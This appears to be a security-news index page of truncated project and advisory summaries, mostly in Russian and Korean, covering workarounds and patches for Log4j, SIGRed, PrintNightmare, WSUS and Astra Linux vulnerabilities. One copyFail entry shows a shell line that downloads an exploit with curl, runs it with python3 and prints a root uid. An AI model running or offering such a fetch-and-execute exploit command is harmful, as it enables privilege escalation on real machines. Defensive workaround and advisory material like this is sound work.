cve-2021-44228-workaround-buildpack

Workaround для CVE-2021-44228 эксплойт RCE Log4j в виде buildpack Этот проект показывает, как создать buildpack CNCF в качестве обходного решения для CVE-2021-44228, эксплойта Log4j, приводящего к удаленному выполнению кода. Используя этот buildpack, вы можете применить обходной способ для этого...

GSSC-CVE-2022-41923

Обходной путь для CVE-2022-41923: Уязвимость управления привилегиями Краткое описание Уязвимость CVE-2022-41923, обнаруженная в непатченном плагине Grails Spring Security Core GSSC, может привести к некорректному управлению привилегиями. В этом репозитории описан способ обойти проблему. Если вы...

CVE-2020-1350_HoneyPoC

Это учебный пример. Используйте на свой страх и риск. CVE-2020-1350 Эксплойт, также известный как SIGRED Это урок о том, почему не стоит доверять бинарным файлам из интернета., временное исправление является подлинным. Временное исправление root@kitploit: reg add...

pcap-burp

Этот проект предоставляет расширение для Burp Suite, предназначенное для импорта и пассивного сканирования Pcap/Pcapng-файлов с помощью Burp. Его можно использовать в случаях, когда HTTP-клиент не поддерживает проксирование, но было бы полезно сканировать, проверять или воспроизводить HTTP-трафик...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash некоторые примеры использования: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

copy.fail-mitigation-MLM

Создайте новый канал конфигурации State Channel в Multi-Linux Manager, используя код из файла copy-fail.sls. Назначьте канал конфигурации всем вашим машинам и запустите его, или выполните Highstate. Это временное исправление!...

CVE-2021-26084-patch-

CVE-2021-26084 патч Патч CVE-2021-26084, предоставленный в "Confluence Security Advisory - 2021-08-25" это лишь временное решение для серверов на Linux; Atlassian выпустила новую исправленную версию, если вы не хотите обновляться, просто примените патч! Установка скачайте файл cve-2021-26084-upda...

WSUSResponder

🧰 WSUSResponder 버전 : 1.0.1 저자 : RZA / IT Operations 라이선스 :MIT 🎯 목적 WSUSResponder 모듈은 Windows Server Update Services WSUS 에 영향을 미치는 원격 코드 실행RCE 취약점인 CVE-2025-59287 에 신속하게 대응하기 위한 PowerShell 도구 모음을 제공합니다. 다음 작업을 수행할 수 있습니다: 🔍 Active Directory 환경 또는 대상 서버 목록 스캔 🧩 취약한 WSUS 서버 식별 🛡️ Microsoft가 게시한...

CVE-2020-1350-Fix

KB4569509: DNS 서버 취약점 CVE-2020-1350에 대한 지침 소개 2020년 7월 14일, Microsoft는 CVE-2020-1350 | Windows DNS Server 원격 코드 실행 취약점에 설명된 문제에 대한 보안 업데이트를 발표했습니다. 이 권고는 DNS Server 역할을 실행하도록 구성된 Windows 서버에 영향을 주는 긴급 원격 코드 실행RCE 취약점에 대해 설명합니다. 서버 관리자께서는 가능한 한 빨리 보안 업데이트를 적용할 것을 강력히 권장합니다. 레지스트리 기반 해결 방법을 사용하여 영향...

disable-RegisterSpoolerRemoteRpcEndPoint

disable-RegisterSpoolerRemoteRpcEndPoint Обходной путь для уязвимости удаленного выполнения кода в Windows Print Spooler CVE-2021-34527. См.: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 Обновление от 2021-07-08: Microsoft выпустила исправление Microsoft уже выпустила...

zeekjs-notice-telegram

Zeek Notice Telegram редакция ZeekJS Этот пакет повторно реализует zeek-notice-telegram на TypeScript ZeekJS, чтобы обойти ненадёжность ActiveHTTP. Он заимствует как пакет Ясина, указанный выше, так и реализацию ZeekJS того самого исходного вдохновения этого пакета zeek-notice-slack, которая тепе...

CVE-2020-1350

CVE-2020-1350 SigRED Временное решение для снижения воздействия уязвимости путем уменьшения максимального размера принимаемых TCP-пакетов на DNS-сервере и перезапуска DNS...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: erofs: Properly handling NONHEAD !delta1 lclusters. The syzbot tool reported a warning in iomapiterdone: iomapfiemap+0x73b/0x9b0 fs/iomap/fiemap.c:80 ioctlfiemap fs/ioctl.c:220 inline Generally, NONHEAD lclusters will not have...

Astra Linux – Vulnerability in Redis

Redis is an open-source, in-memory database that persists data on disk. Versions 8.2.1 and earlier allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, triggering a use-after-free and potentially leading to remote code execution. This issue exists...

Astra Linux – Vulnerability in docker.io

Moby is an open-source project created by Docker to enable software containerization. A bug was discovered in Moby Docker Engine where supplementary groups are not set up properly. If an attacker has direct access to a container and manipulates the supplementary group permissions, they may be abl...

Astra Linux – Vulnerability in Erlang

Erlang/OTP is a set of libraries for the Erlang programming language. Prior to versions OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20, a SSH server might allow an attacker to perform unauthenticated remote code execution RCE. By exploiting a flaw in the SSH protocol’s message handling, a malicious...

Astra Linux – Vulnerability in xrdp

xrdp is an open-source project that provides a graphical login to remote machines using the Microsoft Remote Desktop Protocol RDP. xrdp versions prior to 0.9.21 contain a “Out of Bound Read” vulnerability in the xrdpsecprocessmcsdataCSCORE function. There are no known workarounds for this issue...

Astra Linux – Vulnerability in Redis

Redis is an open-source, in-memory database that persists data on disk. Versions 8.2.1 and earlier allow an authenticated user to use a specially crafted Lua script to manipulate various LUA objects and potentially execute their own code in the context of another user. This vulnerability exists i...

Astra Linux – Vulnerability in Linux, Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: net: nexthop: fix null pointer dereference when IPv6 is not enabled When we attempt to add an IPv6 nexthop parameter, and IPv6 is not enabled !CONFIGIPV6, we encounter a NULL pointer dereference in the error path of nhcreateipv6...

Astra Linux – Vulnerability in Rails

Action Pack is a framework for handling and responding to web requests. Under certain circumstances, response bodies may not be closed properly. If a response does not notify the close signal, ActionDispatch::Executor will not know to reset the thread local state for the next request. This can le...